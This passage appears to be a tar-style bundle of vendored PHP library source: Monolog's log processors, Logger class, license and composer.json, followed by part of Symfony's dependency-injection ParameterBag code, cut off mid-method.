monolog/monolog/src/Monolog/Processor/WebProcessor.php000066600000006140151733766740017226 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Processor; /** * Injects url/method and remote IP of the current web request in all records * * @author Jordi Boggiano */ class WebProcessor implements ProcessorInterface { /** * @var array|\ArrayAccess */ protected $serverData; /** * Default fields * * Array is structured as [key in record.extra => key in $serverData] * * @var array */ protected $extraFields = array('url' => 'REQUEST_URI', 'ip' => 'REMOTE_ADDR', 'http_method' => 'REQUEST_METHOD', 'server' => 'SERVER_NAME', 'referrer' => 'HTTP_REFERER'); /** * @param array|\ArrayAccess $serverData Array or object w/ ArrayAccess that provides access to the $_SERVER data * @param array|null $extraFields Field names and the related key inside $serverData to be added. If not provided it defaults to: url, ip, http_method, server, referrer */ public function __construct($serverData = null, array $extraFields = null) { if (null === $serverData) { $this->serverData =& $_SERVER; } elseif (\is_array($serverData) || $serverData instanceof \ArrayAccess) { $this->serverData = $serverData; } else { throw new \UnexpectedValueException('$serverData must be an array or object implementing ArrayAccess.'); } if (isset($this->serverData['UNIQUE_ID'])) { $this->extraFields['unique_id'] = 'UNIQUE_ID'; } if (null !== $extraFields) { if (isset($extraFields[0])) { foreach (\array_keys($this->extraFields) as $fieldName) { if (!\in_array($fieldName, $extraFields)) { unset($this->extraFields[$fieldName]); } } } else { $this->extraFields = $extraFields; } } } /** * @param array $record * @return array */ public function __invoke(array $record) { // skip processing if for some reason request data // is not present (CLI or wonky SAPIs) if (!isset($this->serverData['REQUEST_URI'])) { return $record; } $record['extra'] = $this->appendExtraFields($record['extra']); return $record; } /** * @param string $extraName * @param string $serverName * @return $this */ public function addExtraField($extraName, $serverName) { $this->extraFields[$extraName] = $serverName; return $this; } /** * @param array $extra * @return array */ private function appendExtraFields(array $extra) { foreach ($this->extraFields as $extraName => $serverName) { $extra[$extraName] = isset($this->serverData[$serverName]) ? $this->serverData[$serverName] : null; } return $extra; } } monolog/monolog/src/Monolog/Processor/GitProcessor.php000066600000003166151733766740017241 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Processor; use AIOSEO\Vendor\Monolog\Logger; /** * Injects Git branch and Git commit SHA in all records * * @author Nick Otter * @author Jordi Boggiano */ class GitProcessor implements ProcessorInterface { private $level; private static $cache; public function __construct($level = Logger::DEBUG) { $this->level = Logger::toMonologLevel($level); } /** * @param array $record * @return array */ public function __invoke(array $record) { // return if the level is not high enough if ($record['level'] < $this->level) { return $record; } $record['extra']['git'] = self::getGitInfo(); return $record; } private static function getGitInfo() { if (self::$cache) { return self::$cache; } $branches = `git branch -v --no-abbrev`; if ($branches && \preg_match('{^\\* (.+?)\\s+([a-f0-9]{40})(?:\\s|$)}m', $branches, $matches)) { return self::$cache = array('branch' => $matches[1], 'commit' => $matches[2]); } return self::$cache = array(); } } monolog/monolog/src/Monolog/Processor/TagProcessor.php000066600000001533151733766740017225 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Processor; /** * Adds a tags array into record * * @author Martijn Riemers */ class TagProcessor implements ProcessorInterface { private $tags; public function __construct(array $tags = array()) { $this->setTags($tags); } public function addTags(array $tags = array()) { $this->tags = \array_merge($this->tags, $tags); } public function setTags(array $tags = array()) { $this->tags = $tags; } public function __invoke(array $record) { $record['extra']['tags'] = $this->tags; return $record; } } monolog/monolog/src/Monolog/Processor/IntrospectionProcessor.php000066600000006577151733766740021367 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Processor; use AIOSEO\Vendor\Monolog\Logger; /** * Injects line/file:class/function where the log message came from * * Warning: This only works if the handler processes the logs directly. * If you put the processor on a handler that is behind a FingersCrossedHandler * for example, the processor will only be called once the trigger level is reached, * and all the log records will have the same file/line/.. data from the call that * triggered the FingersCrossedHandler. * * @author Jordi Boggiano */ class IntrospectionProcessor implements ProcessorInterface { private $level; private $skipClassesPartials; private $skipStackFramesCount; private $skipFunctions = array('call_user_func', 'call_user_func_array'); public function __construct($level = Logger::DEBUG, array $skipClassesPartials = array(), $skipStackFramesCount = 0) { $this->level = Logger::toMonologLevel($level); $this->skipClassesPartials = \array_merge(array('AIOSEO\\Vendor\\Monolog\\'), $skipClassesPartials); $this->skipStackFramesCount = $skipStackFramesCount; } /** * @param array $record * @return array */ public function __invoke(array $record) { // return if the level is not high enough if ($record['level'] < $this->level) { return $record; } /* * http://php.net/manual/en/function.debug-backtrace.php * As of 5.3.6, DEBUG_BACKTRACE_IGNORE_ARGS option was added. * Any version less than 5.3.6 must use the DEBUG_BACKTRACE_IGNORE_ARGS constant value '2'. */ $trace = \debug_backtrace(\PHP_VERSION_ID < 50306 ? 2 : \DEBUG_BACKTRACE_IGNORE_ARGS); // skip first since it's always the current method \array_shift($trace); // the call_user_func call is also skipped \array_shift($trace); $i = 0; while ($this->isTraceClassOrSkippedFunction($trace, $i)) { if (isset($trace[$i]['class'])) { foreach ($this->skipClassesPartials as $part) { if (\strpos($trace[$i]['class'], $part) !== \false) { $i++; continue 2; } } } elseif (\in_array($trace[$i]['function'], $this->skipFunctions)) { $i++; continue; } break; } $i += $this->skipStackFramesCount; // we should have the call source now $record['extra'] = \array_merge($record['extra'], array('file' => isset($trace[$i - 1]['file']) ? $trace[$i - 1]['file'] : null, 'line' => isset($trace[$i - 1]['line']) ? $trace[$i - 1]['line'] : null, 'class' => isset($trace[$i]['class']) ? $trace[$i]['class'] : null, 'function' => isset($trace[$i]['function']) ? $trace[$i]['function'] : null)); return $record; } private function isTraceClassOrSkippedFunction(array $trace, $index) { if (!isset($trace[$index])) { return \false; } return isset($trace[$index]['class']) || \in_array($trace[$index]['function'], $this->skipFunctions); } } monolog/monolog/src/Monolog/Processor/MercurialProcessor.php000066600000002552151733766740020437 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Processor; use AIOSEO\Vendor\Monolog\Logger; /** * Injects Hg branch and Hg revision number in all records * * @author Jonathan A. Schweder */ class MercurialProcessor implements ProcessorInterface { private $level; private static $cache; public function __construct($level = Logger::DEBUG) { $this->level = Logger::toMonologLevel($level); } /** * @param array $record * @return array */ public function __invoke(array $record) { // return if the level is not high enough if ($record['level'] < $this->level) { return $record; } $record['extra']['hg'] = self::getMercurialInfo(); return $record; } private static function getMercurialInfo() { if (self::$cache) { return self::$cache; } $result = \explode(' ', \trim(`hg id -nb`)); if (\count($result) >= 3) { return self::$cache = array('branch' => $result[1], 'revision' => $result[2]); } return self::$cache = array(); } } monolog/monolog/src/Monolog/Processor/PsrLogMessageProcessor.php000066600000004743151733766740021233 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Processor; use AIOSEO\Vendor\Monolog\Utils; /** * Processes a record's message according to PSR-3 rules * * It replaces {foo} with the value from $context['foo'] * * @author Jordi Boggiano */ class PsrLogMessageProcessor implements ProcessorInterface { const SIMPLE_DATE = "Y-m-d\\TH:i:s.uP"; /** @var string|null */ private $dateFormat; /** @var bool */ private $removeUsedContextFields; /** * @param string|null $dateFormat The format of the timestamp: one supported by DateTime::format * @param bool $removeUsedContextFields If set to true the fields interpolated into message gets unset */ public function __construct($dateFormat = null, $removeUsedContextFields = \false) { $this->dateFormat = $dateFormat; $this->removeUsedContextFields = $removeUsedContextFields; } /** * @param array $record * @return array */ public function __invoke(array $record) { if (\false === \strpos($record['message'], '{')) { return $record; } $replacements = array(); foreach ($record['context'] as $key => $val) { $placeholder = '{' . $key . '}'; if (\strpos($record['message'], $placeholder) === \false) { continue; } if (\is_null($val) || \is_scalar($val) || \is_object($val) && \method_exists($val, "__toString")) { $replacements[$placeholder] = $val; } elseif ($val instanceof \DateTime) { $replacements[$placeholder] = $val->format($this->dateFormat ?: static::SIMPLE_DATE); } elseif (\is_object($val)) { $replacements[$placeholder] = '[object ' . Utils::getClass($val) . ']'; } elseif (\is_array($val)) { $replacements[$placeholder] = 'array' . Utils::jsonEncode($val, null, \true); } else { $replacements[$placeholder] = '[' . \gettype($val) . ']'; } if ($this->removeUsedContextFields) { unset($record['context'][$key]); } } $record['message'] = \strtr($record['message'], $replacements); return $record; } } monolog/monolog/src/Monolog/Processor/ProcessIdProcessor.php000066600000001151151733766740020401 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Processor; /** * Adds value of getmypid into records * * @author Andreas Hörnicke */ class ProcessIdProcessor implements ProcessorInterface { /** * @param array $record * @return array */ public function __invoke(array $record) { $record['extra']['process_id'] = \getmypid(); return $record; } } monolog/monolog/src/Monolog/Processor/MemoryPeakUsageProcessor.php000066600000001442151733766740021547 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Processor; /** * Injects memory_get_peak_usage in all records * * @see Monolog\Processor\MemoryProcessor::__construct() for options * @author Rob Jensen */ class MemoryPeakUsageProcessor extends MemoryProcessor { /** * @param array $record * @return array */ public function __invoke(array $record) { $bytes = \memory_get_peak_usage($this->realUsage); $formatted = $this->formatBytes($bytes); $record['extra']['memory_peak_usage'] = $formatted; return $record; } } monolog/monolog/src/Monolog/Processor/MemoryUsageProcessor.php000066600000001417151733766740020750 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Processor; /** * Injects memory_get_usage in all records * * @see Monolog\Processor\MemoryProcessor::__construct() for options * @author Rob Jensen */ class MemoryUsageProcessor extends MemoryProcessor { /** * @param array $record * @return array */ public function __invoke(array $record) { $bytes = \memory_get_usage($this->realUsage); $formatted = $this->formatBytes($bytes); $record['extra']['memory_usage'] = $formatted; return $record; } } monolog/monolog/src/Monolog/Processor/MemoryProcessor.php000066600000003470151733766740017764 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Processor; /** * Some methods that are common for all memory processors * * @author Rob Jensen */ abstract class MemoryProcessor implements ProcessorInterface { /** * @var bool If true, get the real size of memory allocated from system. Else, only the memory used by emalloc() is reported. */ protected $realUsage; /** * @var bool If true, then format memory size to human readable string (MB, KB, B depending on size) */ protected $useFormatting; /** * @param bool $realUsage Set this to true to get the real size of memory allocated from system. * @param bool $useFormatting If true, then format memory size to human readable string (MB, KB, B depending on size) */ public function __construct($realUsage = \true, $useFormatting = \true) { $this->realUsage = (bool) $realUsage; $this->useFormatting = (bool) $useFormatting; } /** * Formats bytes into a human readable string if $this->useFormatting is true, otherwise return $bytes as is * * @param int $bytes * @return string|int Formatted string if $this->useFormatting is true, otherwise return $bytes as is */ protected function formatBytes($bytes) { $bytes = (int) $bytes; if (!$this->useFormatting) { return $bytes; } if ($bytes > 1024 * 1024) { return \round($bytes / 1024 / 1024, 2) . ' MB'; } elseif ($bytes > 1024) { return \round($bytes / 1024, 2) . ' KB'; } return $bytes . ' B'; } } monolog/monolog/src/Monolog/Processor/UidProcessor.php000066600000002347151733766740017237 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Processor; use AIOSEO\Vendor\Monolog\ResettableInterface; /** * Adds a unique identifier into records * * @author Simon Mönch */ class UidProcessor implements ProcessorInterface, ResettableInterface { private $uid; public function __construct($length = 7) { if (!\is_int($length) || $length > 32 || $length < 1) { throw new \InvalidArgumentException('The uid length must be an integer between 1 and 32'); } $this->uid = $this->generateUid($length); } public function __invoke(array $record) { $record['extra']['uid'] = $this->uid; return $record; } /** * @return string */ public function getUid() { return $this->uid; } public function reset() { $this->uid = $this->generateUid(\strlen($this->uid)); } private function generateUid($length) { return \substr(\hash('md5', \uniqid('', \true)), 0, $length); } } monolog/monolog/src/Monolog/Logger.php000066600000053242151733766740014056 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog; use AIOSEO\Vendor\Monolog\Handler\HandlerInterface; use AIOSEO\Vendor\Monolog\Handler\StreamHandler; use AIOSEO\Vendor\Psr\Log\LoggerInterface; use AIOSEO\Vendor\Psr\Log\InvalidArgumentException; use Exception; /** * Monolog log channel * * It contains a stack of Handlers and a stack of Processors, * and uses them to store records that are added to it. * * @author Jordi Boggiano */ class Logger implements LoggerInterface, ResettableInterface { /** * Detailed debug information */ const DEBUG = 100; /** * Interesting events * * Examples: User logs in, SQL logs. */ const INFO = 200; /** * Uncommon events */ const NOTICE = 250; /** * Exceptional occurrences that are not errors * * Examples: Use of deprecated APIs, poor use of an API, * undesirable things that are not necessarily wrong. */ const WARNING = 300; /** * Runtime errors */ const ERROR = 400; /** * Critical conditions * * Example: Application component unavailable, unexpected exception. */ const CRITICAL = 500; /** * Action must be taken immediately * * Example: Entire website down, database unavailable, etc. * This should trigger the SMS alerts and wake you up. */ const ALERT = 550; /** * Urgent alert. */ const EMERGENCY = 600; /** * Monolog API version * * This is only bumped when API breaks are done and should * follow the major version of the library * * @var int */ const API = 1; /** * Logging levels from syslog protocol defined in RFC 5424 * * @var array $levels Logging levels */ protected static $levels = array(self::DEBUG => 'DEBUG', self::INFO => 'INFO', self::NOTICE => 'NOTICE', self::WARNING => 'WARNING', self::ERROR => 'ERROR', self::CRITICAL => 'CRITICAL', self::ALERT => 'ALERT', self::EMERGENCY => 'EMERGENCY'); /** * @var \DateTimeZone */ protected static $timezone; /** * @var string */ protected $name; /** * The handler stack * * @var HandlerInterface[] */ protected $handlers; /** * Processors that will process all log records * * To process records of a single handler instead, add the processor on that specific handler * * @var callable[] */ protected $processors; /** * @var bool */ protected $microsecondTimestamps = \true; /** * @var callable */ protected $exceptionHandler; /** * @param string $name The logging channel * @param HandlerInterface[] $handlers Optional stack of handlers, the first one in the array is called first, etc. * @param callable[] $processors Optional array of processors */ public function __construct($name, array $handlers = array(), array $processors = array()) { $this->name = $name; $this->setHandlers($handlers); $this->processors = $processors; } /** * @return string */ public function getName() { return $this->name; } /** * Return a new cloned instance with the name changed * * @return static */ public function withName($name) { $new = clone $this; $new->name = $name; return $new; } /** * Pushes a handler on to the stack. * * @param HandlerInterface $handler * @return $this */ public function pushHandler(HandlerInterface $handler) { \array_unshift($this->handlers, $handler); return $this; } /** * Pops a handler from the stack * * @return HandlerInterface */ public function popHandler() { if (!$this->handlers) { throw new \LogicException('You tried to pop from an empty handler stack.'); } return \array_shift($this->handlers); } /** * Set handlers, replacing all existing ones. * * If a map is passed, keys will be ignored. * * @param HandlerInterface[] $handlers * @return $this */ public function setHandlers(array $handlers) { $this->handlers = array(); foreach (\array_reverse($handlers) as $handler) { $this->pushHandler($handler); } return $this; } /** * @return HandlerInterface[] */ public function getHandlers() { return $this->handlers; } /** * Adds a processor on to the stack. * * @param callable $callback * @return $this */ public function pushProcessor($callback) { if (!\is_callable($callback)) { throw new \InvalidArgumentException('Processors must be valid callables (callback or object with an __invoke method), ' . \var_export($callback, \true) . ' given'); } \array_unshift($this->processors, $callback); return $this; } /** * Removes the processor on top of the stack and returns it. * * @return callable */ public function popProcessor() { if (!$this->processors) { throw new \LogicException('You tried to pop from an empty processor stack.'); } return \array_shift($this->processors); } /** * @return callable[] */ public function getProcessors() { return $this->processors; } /** * Control the use of microsecond resolution timestamps in the 'datetime' * member of new records. * * Generating microsecond resolution timestamps by calling * microtime(true), formatting the result via sprintf() and then parsing * the resulting string via \DateTime::createFromFormat() can incur * a measurable runtime overhead vs simple usage of DateTime to capture * a second resolution timestamp in systems which generate a large number * of log events. * * @param bool $micro True to use microtime() to create timestamps */ public function useMicrosecondTimestamps($micro) { $this->microsecondTimestamps = (bool) $micro; } /** * Adds a log record. * * @param int $level The logging level * @param string $message The log message * @param array $context The log context * @return bool Whether the record has been processed */ public function addRecord($level, $message, array $context = array()) { if (!$this->handlers) { $this->pushHandler(new StreamHandler('php://stderr', static::DEBUG)); } $levelName = static::getLevelName($level); // check if any handler will handle this message so we can return early and save cycles $handlerKey = null; \reset($this->handlers); while ($handler = \current($this->handlers)) { if ($handler->isHandling(array('level' => $level))) { $handlerKey = \key($this->handlers); break; } \next($this->handlers); } if (null === $handlerKey) { return \false; } if (!static::$timezone) { static::$timezone = new \DateTimeZone(\date_default_timezone_get() ?: 'UTC'); } // php7.1+ always has microseconds enabled, so we do not need this hack if ($this->microsecondTimestamps && \PHP_VERSION_ID < 70100) { $ts = \DateTime::createFromFormat('U.u', \sprintf('%.6F', \microtime(\true)), static::$timezone); } else { $ts = new \DateTime('now', static::$timezone); } $ts->setTimezone(static::$timezone); $record = array('message' => (string) $message, 'context' => $context, 'level' => $level, 'level_name' => $levelName, 'channel' => $this->name, 'datetime' => $ts, 'extra' => array()); try { foreach ($this->processors as $processor) { $record = \call_user_func($processor, $record); } while ($handler = \current($this->handlers)) { if (\true === $handler->handle($record)) { break; } \next($this->handlers); } } catch (Exception $e) { $this->handleException($e, $record); } return \true; } /** * Ends a log cycle and frees all resources used by handlers. * * Closing a Handler means flushing all buffers and freeing any open resources/handles. * Handlers that have been closed should be able to accept log records again and re-open * themselves on demand, but this may not always be possible depending on implementation. * * This is useful at the end of a request and will be called automatically on every handler * when they get destructed. */ public function close() { foreach ($this->handlers as $handler) { if (\method_exists($handler, 'close')) { $handler->close(); } } } /** * Ends a log cycle and resets all handlers and processors to their initial state. * * Resetting a Handler or a Processor means flushing/cleaning all buffers, resetting internal * state, and getting it back to a state in which it can receive log records again. * * This is useful in case you want to avoid logs leaking between two requests or jobs when you * have a long running process like a worker or an application server serving multiple requests * in one process. */ public function reset() { foreach ($this->handlers as $handler) { if ($handler instanceof ResettableInterface) { $handler->reset(); } } foreach ($this->processors as $processor) { if ($processor instanceof ResettableInterface) { $processor->reset(); } } } /** * Adds a log record at the DEBUG level. * * @param string $message The log message * @param array $context The log context * @return bool Whether the record has been processed */ public function addDebug($message, array $context = array()) { return $this->addRecord(static::DEBUG, $message, $context); } /** * Adds a log record at the INFO level. * * @param string $message The log message * @param array $context The log context * @return bool Whether the record has been processed */ public function addInfo($message, array $context = array()) { return $this->addRecord(static::INFO, $message, $context); } /** * Adds a log record at the NOTICE level. * * @param string $message The log message * @param array $context The log context * @return bool Whether the record has been processed */ public function addNotice($message, array $context = array()) { return $this->addRecord(static::NOTICE, $message, $context); } /** * Adds a log record at the WARNING level. * * @param string $message The log message * @param array $context The log context * @return bool Whether the record has been processed */ public function addWarning($message, array $context = array()) { return $this->addRecord(static::WARNING, $message, $context); } /** * Adds a log record at the ERROR level. * * @param string $message The log message * @param array $context The log context * @return bool Whether the record has been processed */ public function addError($message, array $context = array()) { return $this->addRecord(static::ERROR, $message, $context); } /** * Adds a log record at the CRITICAL level. * * @param string $message The log message * @param array $context The log context * @return bool Whether the record has been processed */ public function addCritical($message, array $context = array()) { return $this->addRecord(static::CRITICAL, $message, $context); } /** * Adds a log record at the ALERT level. * * @param string $message The log message * @param array $context The log context * @return bool Whether the record has been processed */ public function addAlert($message, array $context = array()) { return $this->addRecord(static::ALERT, $message, $context); } /** * Adds a log record at the EMERGENCY level. * * @param string $message The log message * @param array $context The log context * @return bool Whether the record has been processed */ public function addEmergency($message, array $context = array()) { return $this->addRecord(static::EMERGENCY, $message, $context); } /** * Gets all supported logging levels. * * @return array Assoc array with human-readable level names => level codes. */ public static function getLevels() { return \array_flip(static::$levels); } /** * Gets the name of the logging level. * * @param int $level * @return string */ public static function getLevelName($level) { if (!isset(static::$levels[$level])) { throw new InvalidArgumentException('Level "' . $level . '" is not defined, use one of: ' . \implode(', ', \array_keys(static::$levels))); } return static::$levels[$level]; } /** * Converts PSR-3 levels to Monolog ones if necessary * * @param string|int $level Level number (monolog) or name (PSR-3) * @return int */ public static function toMonologLevel($level) { if (\is_string($level)) { // Contains chars of all log levels and avoids using strtoupper() which may have // strange results depending on locale (for example, "i" will become "İ") $upper = \strtr($level, 'abcdefgilmnortuwy', 'ABCDEFGILMNORTUWY'); if (\defined(__CLASS__ . '::' . $upper)) { return \constant(__CLASS__ . '::' . $upper); } } return $level; } /** * Checks whether the Logger has a handler that listens on the given level * * @param int $level * @return bool */ public function isHandling($level) { $record = array('level' => $level); foreach ($this->handlers as $handler) { if ($handler->isHandling($record)) { return \true; } } return \false; } /** * Set a custom exception handler * * @param callable $callback * @return $this */ public function setExceptionHandler($callback) { if (!\is_callable($callback)) { throw new \InvalidArgumentException('Exception handler must be valid callable (callback or object with an __invoke method), ' . \var_export($callback, \true) . ' given'); } $this->exceptionHandler = $callback; return $this; } /** * @return callable */ public function getExceptionHandler() { return $this->exceptionHandler; } /** * Delegates exception management to the custom exception handler, * or throws the exception if no custom handler is set. */ protected function handleException(Exception $e, array $record) { if (!$this->exceptionHandler) { throw $e; } \call_user_func($this->exceptionHandler, $e, $record); } /** * Adds a log record at an arbitrary level. * * This method allows for compatibility with common interfaces. * * @param mixed $level The log level * @param string $message The log message * @param array $context The log context * @return bool Whether the record has been processed */ public function log($level, $message, array $context = array()) { $level = static::toMonologLevel($level); return $this->addRecord($level, $message, $context); } /** * Adds a log record at the DEBUG level. * * This method allows for compatibility with common interfaces. * * @param string $message The log message * @param array $context The log context * @return bool Whether the record has been processed */ public function debug($message, array $context = array()) { return $this->addRecord(static::DEBUG, $message, $context); } /** * Adds a log record at the INFO level. * * This method allows for compatibility with common interfaces. * * @param string $message The log message * @param array $context The log context * @return bool Whether the record has been processed */ public function info($message, array $context = array()) { return $this->addRecord(static::INFO, $message, $context); } /** * Adds a log record at the NOTICE level. * * This method allows for compatibility with common interfaces. * * @param string $message The log message * @param array $context The log context * @return bool Whether the record has been processed */ public function notice($message, array $context = array()) { return $this->addRecord(static::NOTICE, $message, $context); } /** * Adds a log record at the WARNING level. * * This method allows for compatibility with common interfaces. * * @param string $message The log message * @param array $context The log context * @return bool Whether the record has been processed */ public function warn($message, array $context = array()) { return $this->addRecord(static::WARNING, $message, $context); } /** * Adds a log record at the WARNING level. * * This method allows for compatibility with common interfaces. * * @param string $message The log message * @param array $context The log context * @return bool Whether the record has been processed */ public function warning($message, array $context = array()) { return $this->addRecord(static::WARNING, $message, $context); } /** * Adds a log record at the ERROR level. * * This method allows for compatibility with common interfaces. * * @param string $message The log message * @param array $context The log context * @return bool Whether the record has been processed */ public function err($message, array $context = array()) { return $this->addRecord(static::ERROR, $message, $context); } /** * Adds a log record at the ERROR level. * * This method allows for compatibility with common interfaces. * * @param string $message The log message * @param array $context The log context * @return bool Whether the record has been processed */ public function error($message, array $context = array()) { return $this->addRecord(static::ERROR, $message, $context); } /** * Adds a log record at the CRITICAL level. * * This method allows for compatibility with common interfaces. * * @param string $message The log message * @param array $context The log context * @return bool Whether the record has been processed */ public function crit($message, array $context = array()) { return $this->addRecord(static::CRITICAL, $message, $context); } /** * Adds a log record at the CRITICAL level. * * This method allows for compatibility with common interfaces. * * @param string $message The log message * @param array $context The log context * @return bool Whether the record has been processed */ public function critical($message, array $context = array()) { return $this->addRecord(static::CRITICAL, $message, $context); } /** * Adds a log record at the ALERT level. * * This method allows for compatibility with common interfaces. * * @param string $message The log message * @param array $context The log context * @return bool Whether the record has been processed */ public function alert($message, array $context = array()) { return $this->addRecord(static::ALERT, $message, $context); } /** * Adds a log record at the EMERGENCY level. * * This method allows for compatibility with common interfaces. * * @param string $message The log message * @param array $context The log context * @return bool Whether the record has been processed */ public function emerg($message, array $context = array()) { return $this->addRecord(static::EMERGENCY, $message, $context); } /** * Adds a log record at the EMERGENCY level. * * This method allows for compatibility with common interfaces. * * @param string $message The log message * @param array $context The log context * @return bool Whether the record has been processed */ public function emergency($message, array $context = array()) { return $this->addRecord(static::EMERGENCY, $message, $context); } /** * Set the timezone to be used for the timestamp of log records. * * This is stored globally for all Logger instances * * @param \DateTimeZone $tz Timezone object */ public static function setTimezone(\DateTimeZone $tz) { self::$timezone = $tz; } } monolog/monolog/LICENSE000066600000002047151733766740010727 0ustar00Copyright (c) 2011-2016 Jordi Boggiano Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. monolog/monolog/composer.json000066600000004472151733766740012450 0ustar00{ "name": "monolog\/monolog", "description": "Sends your logs to files, sockets, inboxes, databases and various web services", "keywords": [ "log", "logging", "psr-3" ], "homepage": "http:\/\/github.com\/Seldaek\/monolog", "type": "library", "license": "MIT", "authors": [ { "name": "Jordi Boggiano", "email": "j.boggiano@seld.be", "homepage": "http:\/\/seld.be" } ], "require": { "php": ">=5.3.0", "psr\/log": "~1.0" }, "require-dev": { "phpunit\/phpunit": "~4.5", "graylog2\/gelf-php": "~1.0", "sentry\/sentry": "^0.13", "ruflin\/elastica": ">=0.90 <3.0", "doctrine\/couchdb": "~1.0@dev", "aws\/aws-sdk-php": "^2.4.9 || ^3.0", "php-amqplib\/php-amqplib": "~2.4", "swiftmailer\/swiftmailer": "^5.3|^6.0", "php-console\/php-console": "^3.1.3", "phpstan\/phpstan": "^0.12.59" }, "suggest": { "graylog2\/gelf-php": "Allow sending log messages to a GrayLog2 server", "sentry\/sentry": "Allow sending log messages to a Sentry server", "doctrine\/couchdb": "Allow sending log messages to a CouchDB server", "ruflin\/elastica": "Allow sending log messages to an Elastic Search server", "php-amqplib\/php-amqplib": "Allow sending log messages to an AMQP server using php-amqplib", "ext-amqp": "Allow sending log messages to an AMQP server (1.0+ required)", "ext-mongo": "Allow sending log messages to a MongoDB server", "mongodb\/mongodb": "Allow sending log messages to a MongoDB server via PHP Driver", "aws\/aws-sdk-php": "Allow sending log messages to AWS services like DynamoDB", "rollbar\/rollbar": "Allow sending log messages to Rollbar", "php-console\/php-console": "Allow sending log messages to Google Chrome" }, "autoload": { "psr-4": { "AIOSEO\\Vendor\\Monolog\\": "src\/Monolog" } }, "autoload-dev": { "psr-4": { "AIOSEO\\Vendor\\Monolog\\": "tests\/Monolog" } }, "provide": { "psr\/log-implementation": "1.0.0" }, "scripts": { "test": "vendor\/bin\/phpunit", "phpstan": "vendor\/bin\/phpstan analyse" }, "lock": false }symfony/dependency-injection/Argument/RewindableGenerator.php000066600000001613151734252230020575 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace YoastSEO_Vendor\Symfony\Component\DependencyInjection\Argument; /** * @internal */ class RewindableGenerator implements \IteratorAggregate, \Countable { private $generator; private $count; /** * @param int|callable $count */ public function __construct(callable $generator, $count) { $this->generator = $generator; $this->count = $count; } public function getIterator() { $g = $this->generator; return $g(); } public function count() { if (\is_callable($count = $this->count)) { $this->count = $count(); } return $this->count; } } symfony/dependency-injection/ParameterBag/ParameterBag.php000066600000022671151734252230017763 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace YoastSEO_Vendor\Symfony\Component\DependencyInjection\ParameterBag; use YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ParameterCircularReferenceException; use YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ParameterNotFoundException; use YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\RuntimeException; /** * Holds parameters. * * @author Fabien Potencier */ class ParameterBag implements \YoastSEO_Vendor\Symfony\Component\DependencyInjection\ParameterBag\ParameterBagInterface { protected $parameters = []; protected $resolved = \false; private $normalizedNames = []; /** * @param array $parameters An array of parameters */ public function __construct(array $parameters = []) { $this->add($parameters); } /** * Clears all parameters. */ public function clear() { $this->parameters = []; } /** * Adds parameters to the service container parameters. * * @param array $parameters An array of parameters */ public function add(array $parameters) { foreach ($parameters as $key => $value) { $this->set($key, $value); } } /** * {@inheritdoc} */ public function all() { return $this->parameters; } /** * {@inheritdoc} */ public function get($name) { $name = $this->normalizeName($name); if (!\array_key_exists($name, $this->parameters)) { if (!$name) { throw new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ParameterNotFoundException($name); } $alternatives = []; foreach ($this->parameters as $key => $parameterValue) { $lev = \levenshtein($name, $key); if ($lev <= \strlen($name) / 3 || \false !== \strpos($key, $name)) { $alternatives[] = $key; } } $nonNestedAlternative = null; if (!\count($alternatives) && \false !== \strpos($name, '.')) { $namePartsLength = \array_map('strlen', \explode('.', $name)); $key = \substr($name, 0, -1 * (1 + \array_pop($namePartsLength))); while (\count($namePartsLength)) { if ($this->has($key)) { if (\is_array($this->get($key))) { $nonNestedAlternative = $key; } break; } $key = \substr($key, 0, -1 * (1 + \array_pop($namePartsLength))); } } throw new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ParameterNotFoundException($name, null, null, null, $alternatives, $nonNestedAlternative); } return $this->parameters[$name]; } /** * Sets a service container parameter. * * @param string $name The parameter name * @param mixed $value The parameter value */ public function set($name, $value) { $this->parameters[$this->normalizeName($name)] = $value; } /** * {@inheritdoc} */ public function has($name) { return 